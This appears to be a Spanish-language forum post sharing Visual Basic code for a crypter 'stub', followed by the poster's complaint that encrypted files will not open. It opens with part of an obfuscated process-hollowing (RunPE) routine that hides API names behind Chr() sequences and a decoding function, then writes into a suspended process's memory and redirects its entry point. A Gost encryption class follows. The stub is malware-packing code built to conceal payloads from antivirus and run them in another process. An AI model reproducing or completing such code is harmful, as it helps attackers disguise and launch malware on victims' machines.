NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(18) & Chr(40) & Chr(63) & Chr(30) & Chr(38) & Chr(48) & Chr(54) & Chr(54) & Chr(34) & Chr(13) & Chr(34) & Chr(45) & Chr(59) & Chr(41) & Chr(62) & Chr(51), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread, VarPtr(LBGKEY)
WriteProcessMemory MZLVDG.hProcess, ByVal LBGKEY.Ebx + 8, FUQWG.OptionalHeader.ImageBase, 4, 0
LBGKEY.Eax = FUQWG.OptionalHeader.ImageBase + FUQWG.OptionalHeader.AddressOfEntryPoint
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(6) & Chr(40) & Chr(63) & Chr(30) & Chr(38) & Chr(48) & Chr(54) & Chr(54) & Chr(34) & Chr(13) & Chr(34) & Chr(45) & Chr(59) & Chr(41) & Chr(62) & Chr(51), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread, VarPtr(LBGKEY)
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(7) & Chr(40) & Chr(56) & Chr(63) & Chr(35) & Chr(39) & Chr(7) & Chr(63) & Chr(52) & Chr(43) & Chr(44) & Chr(39), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread
End SubMODULO DE CLASE (clsGost) DEL STUB
Código (vb) [Seleccionar]
'Gost Encryption/Decryption Class
'------------------------------------
'
'Information concerning the Gost
'algorithm can be found at:
'http://www.jetico.sci.fi/index.htm#/gost.htm
'
'(c) 2000, Fredrik Qvarfort
'
Option Explicit
Event Progress(Percent As Long)
Private m_KeyValue As String
Private K(1 To 8) As Long
Private k87(0 To 255) As Byte
Private k65(0 To 255) As Byte
Private k43(0 To 255) As Byte
Private k21(0 To 255) As Byte
Private sBox(0 To 7, 0 To 255) As Byte
'Allow running more optimized code
'while in compiled mode and still
'be able to run the code in the IDE
Private m_RunningCompiled As Boolean
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Sub addLongs Lib "myDLL" (ByRef number1 As Long, ByVal number2 As Long)
Private Static Sub DecryptBlock(LeftWord As Long, RightWord As Long)
Dim i As Long
RightWord = RightWord Xor F(LeftWord, K(1))
LeftWord = LeftWord Xor F(RightWord, K(2))
RightWord = RightWord Xor F(LeftWord, K(3))
LeftWord = LeftWord Xor F(RightWord, K(4))
RightWord = RightWord Xor F(LeftWord, K(5))
LeftWord = LeftWord Xor F(RightWord, K(6))
RightWord = RightWord Xor F(LeftWord, K(7))
LeftWord = LeftWord Xor F(RightWord, K(8))
For i = 1 To 3
RightWord = RightWord Xor F(LeftWord, K(8))
LeftWord = LeftWord Xor F(RightWord, K(7))
RightWord = RightWord Xor F(LeftWord, K(6))
LeftWord = LeftWord Xor F(RightWord, K(5))
RightWord = RightWord Xor F(LeftWord, K(4))
LeftWord = LeftWord Xor F(RightWord, K(3))
RightWord = RightWord Xor F(LeftWord, K(2))
LeftWord = LeftWord Xor F(RightWord, K(1))
Next
End Sub
Private Static Sub EncryptBlock(LeftWord As Long, RightWord As Long)
Dim i As Long
For i = 1 To 3
RightWord = RightWord Xor F(LeftWord, K(1))
LeftWord = LeftWord Xor F(RightWord, K(2))
RightWord = RightWord Xor F(LeftWord, K(3))
LeftWord = LeftWord Xor F(RightWord, K(4))
RightWord = RightWord Xor F(LeftWord, K(5))
LeftWord = LeftWord Xor F(RightWord, K(6))
RightWord = RightWord Xor F(LeftWord, K(7))
LeftWord = LeftWord Xor F(RightWord, K(8))
Next
RightWord = RightWord Xor F(LeftWord, K(8))
LeftWord = LeftWord Xor F(RightWord, K(7))
RightWord = RightWord Xor F(LeftWord, K(6))
LeftWord = LeftWord Xor F(RightWord, K(5))
RightWord = RightWord Xor F(LeftWord, K(4))
LeftWord = LeftWord Xor F(RightWord, K(3))
RightWord = RightWord Xor F(LeftWord, K(2))
LeftWord = LeftWord Xor F(RightWord, K(1))
End Sub
Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)
Dim Filenr As Integer
Dim ByteArray() As Byte
'Make sure the source file do exist
If (Not FileExist(SourceFile)) Then
Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
Exit Sub
End If
'Open the source file and read the content
'into a bytearray to pass onto encryption
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
ReDim ByteArray(0 To LOF(Filenr) - 1)
Get #Filenr, , ByteArray()
Close #Filenr
'Encrypt the bytearray
Call EncryptByte(ByteArray(), Key)
'If the destination file already exist we need
'to delete it since opening it for binary use
'will preserve it if it already exist
If (FileExist(DestFile)) Then Kill DestFile
'Store the encrypted data in the destination file
Filenr = FreeFile
Open DestFile For Binary As #Filenr
Put #Filenr, , ByteArray()
Close #Filenr
End Sub
Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)
Dim Filenr As Integer
Dim ByteArray() As Byte
'Make sure the source file do exist
If (Not FileExist(SourceFile)) Then
Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
Exit Sub
End If
'Open the source file and read the content
'into a bytearray to decrypt
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
ReDim ByteArray(0 To LOF(Filenr) - 1)
Get #Filenr, , ByteArray()
Close #Filenr
'Decrypt the bytearray
Call DecryptByte(ByteArray(), Key)
'If the destination file already exist we need
'to delete it since opening it for binary use
'will preserve it if it already exist
If (FileExist(DestFile)) Then Kill DestFile
'Store the decrypted data in the destination file
Filenr = FreeFile
Open DestFile For Binary As #Filenr
Put #Filenr, , ByteArray()
Close #Filenr
End Sub
Private Static Function F(R As Long, K As Long) As Long
Dim x As Long
Dim xb(0 To 3) As Byte
Dim xx(0 To 3) As Byte
Dim a As Byte, b As Byte, C As Byte, D As Byte
If (m_RunningCompiled) Then
x = R + K
Else
x = UnsignedAdd(R, K)
End If
'Extract byte sequence
D = x And &HFF
x = x \ 256
C = x And &HFF
x = x \ 256
b = x And &HFF
x = x \ 256
a = x And &HFF
'Key-dependant substutions
xb(0) = k21(a)
xb(1) = k43(b)
xb(2) = k65(C)
xb(3) = k87(D)
'LeftShift 11 bits
xx(0) = ((xb(3) And 31) * 8) Or ((xb(2) And 224) \ 32)
xx(1) = ((xb(0) And 31) * 8) Or ((xb(3) And 224) \ 32)
xx(2) = ((xb(1) And 31) * 8) Or ((xb(0) And 224) \ 32)
xx(3) = ((xb(2) And 31) * 8) Or ((xb(1) And 224) \ 32)
Call CopyMem(F, xx(0), 4)
End Function
Public Function DecryptString(Text As String, Optional Key As String) As String
Dim ByteArray() As Byte
'Convert the text into a byte array
ByteArray() = StrConv(Text, vbFromUnicode)
'Encrypt the byte array
Call DecryptByte(ByteArray(), Key)
'Convert the byte array back to a string
DecryptString = StrConv(ByteArray(), vbUnicode)
End Function
Public Function EncryptString(Text As String, Optional Key As String) As String
Dim ByteArray() As Byte
'Convert the text into a byte array
ByteArray() = StrConv(Text, vbFromUnicode)
'Encrypt the byte array
Call EncryptByte(ByteArray(), Key)
'Convert the byte array back to a string
EncryptString = StrConv(ByteArray(), vbUnicode)
End Function
Private Static Function lBSL(ByVal lInput As Long, bShiftBits As Byte) As Long
lBSL = (lInput And (2 ^ (31 - bShiftBits) - 1)) * 2 ^ bShiftBits
If (lInput And 2 ^ (31 - bShiftBits)) = 2 ^ (31 - bShiftBits) Then lBSL = (lBSL Or &H80000000)
End Function
Private Static Function lBSR(ByVal lInput As Long, bShiftBits As Byte) As Long
If bShiftBits = 31 Then
If lInput < 0 Then lBSR = &HFFFFFFFF Else lBSR = 0
Else
lBSR = (lInput And Not (2 ^ bShiftBits - 1)) \ 2 ^ bShiftBits
End If
End Function
Public Function EncryptByte(ByteArray() As Byte, Optional Key As String) As String
Dim Offset As Long
Dim OrigLen As Long
Dim LeftWord As Long
Dim RightWord As Long
Dim CipherLen As Long
Dim CipherLeft As Long
Dim CipherRight As Long
Dim CurrPercent As Long
Dim NextPercent As Long
'Set the key if one was passed to the function
If (Len(Key) > 0) Then Me.Key = Key
'Get the length of the plaintext
OrigLen = UBound(ByteArray) + 1
'First we add 12 bytes (4 bytes for the
'length and 8 bytes for the seed values
'for the CBC routine), and the ciphertext
'must be a multiple of 8 bytes
CipherLen = OrigLen + 12
If (CipherLen Mod 8 <> 0) Then
CipherLen = CipherLen + 8 - (CipherLen Mod 8)
End If
ReDim Preserve ByteArray(CipherLen - 1)
Call CopyMem(ByteArray(12), ByteArray(0), OrigLen)
'Store the length descriptor in bytes [9-12]
Call CopyMem(ByteArray(8), OrigLen, 4)
'Store a block of random data in bytes [1-8],
'these work as seed values for the CBC routine
'and is used to produce different ciphertext
'even when encrypting the same data with the
'same key)
Call Randomize
Call CopyMem(ByteArray(0), CLng(2147483647 * Rnd), 4)
Call CopyMem(ByteArray(4), CLng(2147483647 * Rnd), 4)
'Encrypt the data
For Offset = 0 To (CipherLen - 1) Step 8
'Get the next block of plaintext
Call GetWord(LeftWord, ByteArray(), Offset)
Call GetWord(RightWord, ByteArray(), Offset + 4)
'XOR the plaintext with the previous
'ciphertext (CBC, Cipher-Block Chaining)
LeftWord = LeftWord Xor CipherLeft
RightWord = RightWord Xor CipherRight
'Encrypt the block
Call EncryptBlock(LeftWord, RightWord)
'Store the block
Call PutWord(LeftWord, ByteArray(), Offset)
Call PutWord(RightWord, ByteArray(), Offset + 4)
'Store the cipherblocks (for CBC)
CipherLeft = LeftWord
CipherRight = RightWord
'Update the progress if neccessary
If (Offset >= NextPercent) Then
CurrPercent = Int((Offset / CipherLen) * 100)
NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
RaiseEvent Progress(CurrPercent)
End If
Next
'Make sure we return a 100% progress
If (CurrPercent <> 100) Then RaiseEvent Progress(100)
End Function
Public Function DecryptByte(ByteArray() As Byte, Optional Key As String) As String
Dim Offset As Long
Dim OrigLen As Long
Dim LeftWord As Long
Dim RightWord As Long
Dim CipherLen As Long
Dim CipherLeft As Long
Dim CipherRight As Long
Dim CurrPercent As Long
Dim NextPercent As Long
'Set the key if one was passed to the function
If (Len(Key) > 0) Then Me.Key = Key
'Get the size of the ciphertext
CipherLen = UBound(ByteArray) + 1
'Decrypt the data in 64-bit blocks
For Offset = 0 To (CipherLen - 1) Step 8
'Get the next block
Call GetWord(LeftWord, ByteArray(), Offset)
Call GetWord(RightWord, ByteArray(), Offset + 4)
'Decrypt the block
Call DecryptBlock(RightWord, LeftWord)
'XOR with the previous cipherblock
LeftWord = LeftWord Xor CipherLeft
RightWord = RightWord Xor CipherRight
'Store the current ciphertext to use
'XOR with the next block plaintext
Call GetWord(CipherLeft, ByteArray(), Offset)
Call GetWord(CipherRight, ByteArray(), Offset + 4)
'Store the encrypted block
Call PutWord(LeftWord, ByteArray(), Offset)
Call PutWord(RightWord, ByteArray(), Offset + 4)
'Update the progress if neccessary
If (Offset >= NextPercent) Then
CurrPercent = Int((Offset / CipherLen) * 100)
NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
RaiseEvent Progress(CurrPercent)
End If
Next
'Get the size of the original array
Call CopyMem(OrigLen, ByteArray(8), 4)
'Make sure OrigLen is a reasonable value,
'if we used the wrong key the next couple
'of statements could be dangerous (GPF)
If (CipherLen - OrigLen > 19) Or (CipherLen - OrigLen < 12) Then
Call Err.Raise(vbObjectError, , "Incorrect size descriptor in Gost decryption")
End If
'Resize the bytearray to hold only the plaintext
'and not the extra information added by the
'encryption routine
Call CopyMem(ByteArray(0), ByteArray(12), OrigLen)
ReDim Preserve ByteArray(OrigLen - 1)
'Make sure we return a 100% progress
If (CurrPercent <> 100) Then RaiseEvent Progress(100)
End Function
Public Property Let Key(New_Value As String)
Dim a As Long
Dim Key() As Byte
Dim KeyLen As Long
Dim ByteArray() As Byte
'Do nothing if no change was made
If (m_KeyValue = New_Value) Then Exit Property
'Convert the key into a bytearray
KeyLen = Len(New_Value)
Key() = StrConv(New_Value, vbFromUnicode)
'Create a 32-byte key
ReDim ByteArray(0 To 31)
For a = 0 To 31
ByteArray(a) = Key(a Mod KeyLen)
Next
'Create the key
Call CopyMem(K(1), ByteArray(0), 32)
'Show this key is buffered
m_KeyValue = New_Value
End Property
Private Sub Class_Initialize()
Dim a As Long
Dim b As Long
Dim C As Long
Dim LeftWord As Long
Dim S(0 To 7) As Variant
'We need to check if we are running in compiled
'(EXE) mode or in the IDE, this will allow us to
'use optimized code with unsigned integers in
'compiled mode without any overflow errors when
'running the code in the IDE
On Local Error Resume Next
m_RunningCompiled = ((2147483647 + 1) < 0)
'Initialize s-boxes
S(0) = Array(6, 5, 1, 7, 14, 0, 4, 10, 11, 9, 3, 13, 8, 12, 2, 15)
S(1) = Array(14, 13, 9, 0, 8, 10, 12, 4, 7, 15, 6, 11, 3, 1, 5, 2)
S(2) = Array(6, 5, 1, 7, 2, 4, 10, 0, 11, 13, 14, 3, 8, 12, 15, 9)
S(3) = Array(8, 7, 3, 9, 6, 4, 14, 5, 2, 13, 0, 12, 1, 11, 10, 15)
S(4) = Array(10, 9, 6, 11, 5, 1, 8, 4, 0, 13, 7, 2, 14, 3, 15, 12)
S(5) = Array(5, 3, 0, 6, 11, 13, 4, 14, 10, 7, 1, 12, 2, 8, 15, 9)
S(6) = Array(2, 1, 12, 3, 11, 13, 15, 7, 10, 6, 9, 14, 0, 8, 4, 5)
S(7) = Array(6, 5, 1, 7, 8, 9, 4, 2, 15, 3, 13, 12, 10, 14, 11, 0)
'Convert the variants to a 2-dimensional array
For a = 0 To 15
For b = 0 To 7
sBox(b, a) = S(b)(a)
Next
Next
'Calculate the substitutions
For a = 0 To 255
k87(a) = lBSL(CLng(sBox(7, lBSR(a, 4))), 4) Or sBox(6, a And 15)
k65(a) = lBSL(CLng(sBox(5, lBSR(a, 4))), 4) Or sBox(4, a And 15)
k43(a) = lBSL(CLng(sBox(3, lBSR(a, 4))), 4) Or sBox(2, a And 15)
k21(a) = lBSL(CLng(sBox(1, lBSR(a, 4))), 4) Or sBox(0, a And 15)
Next
End SubParece que cifra el archivo pero no puedo abrir ningún archivo cifrado no me deja
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